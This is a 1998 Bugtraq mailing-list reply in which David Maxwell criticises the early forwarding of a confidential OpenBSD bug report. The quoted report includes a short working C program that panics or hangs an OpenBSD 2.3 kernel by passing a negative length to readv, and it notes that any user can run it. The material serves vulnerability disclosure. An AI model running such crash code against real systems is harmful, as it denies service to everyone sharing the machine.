[7394] in bugtraq
Re: Fwd: Any user can panic OpenBSD machine
daemon@ATHENA.MIT.EDU (David Maxwell)
Mon Jul 27 16:58:53 1998
Date: Mon, 27 Jul 1998 16:00:49 -0300
Reply-To: David Maxwell <david@WWW.FUNDY.CA>
From: David Maxwell <david@WWW.FUNDY.CA>
X-To: Michael Fuhr <mfuhr@DIMENSIONAL.COM>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <19980727112359.18461@dimensional.com>; from Michael Fuhr on Mon,
Jul 27, 1998 at 11:23:59AM -0600
Since this bug is explicitly marked confidential, and was only opened today,
would it not have been reasonable to delay forwarding this. Given that the
OpenBSD people are particularly enthusiastic about security auditing, I expect
it will be fixed quickly.
David Maxwell
On Mon, Jul 27, 1998 at 11:23:59AM -0600, Michael Fuhr wrote:
> -----Forwarded message from jon@oaktree.co.uk-----
>
> Message-Id: <199807271126.MAA16724@chalk.oaktree.net.uk>
> Date: Mon, 27 Jul 1998 12:26:36 +0100 (BST)
> From: jon@oaktree.co.uk
> To: gnats@openbsd.org
> X-Send-Pr-Version: 3.97
> Subject: kernel/549: Any user can panic OpenBSD machine
> Sender: owner-bugs@openbsd.org
>
>
> >Number: 549
> >Category: kernel
> >Synopsis: readv with -ve block size panics kernel
> >Confidential: yes
> >Severity: critical
> >Priority: high
> >Responsible: bugs
> >State: open
> >Class: sw-bug
> >Submitter-Id: net
> >Arrival-Date: Mon Jul 27 05:40:02 MDT 1998
> >Last-Modified:
> >Originator: Jon Ribbens
> >Organization:
> \/ Jon Ribbens / jon@oaktree.co.uk
> >Release: 2.3
> >Environment:
>
> System : OpenBSD 2.3
> Architecture: OpenBSD.i386
> Machine : i386
> >Description:
> readv with one of the blocks having a -ve size panics the kernel.
> Oops.
>
> >How-To-Repeat:
>
> #include <sys/types.h>
> #include <sys/uio.h>
> #include <unistd.h>
>
> int main(void) {
> struct iovec iov[1];
> char buffer[1024];
>
> iov[0].iov_base = buffer;
> iov[0].iov_len = -1;
>
> return readv(0, iov, 1);
> }
>
> run the above program, type a few characters, press return, observe
> either kernel panic or machine hang. panic message is
> "panic: ureadc: non-positive resid". Any user can do this.
>
>
> >Fix:
> Dunno I'm afraid.
>
>
> >Audit-Trail:
> >Unformatted:
>
> -----End of forwarded message-----
>
> --
> Michael Fuhr
> http://www.fuhr.net/~mfuhr/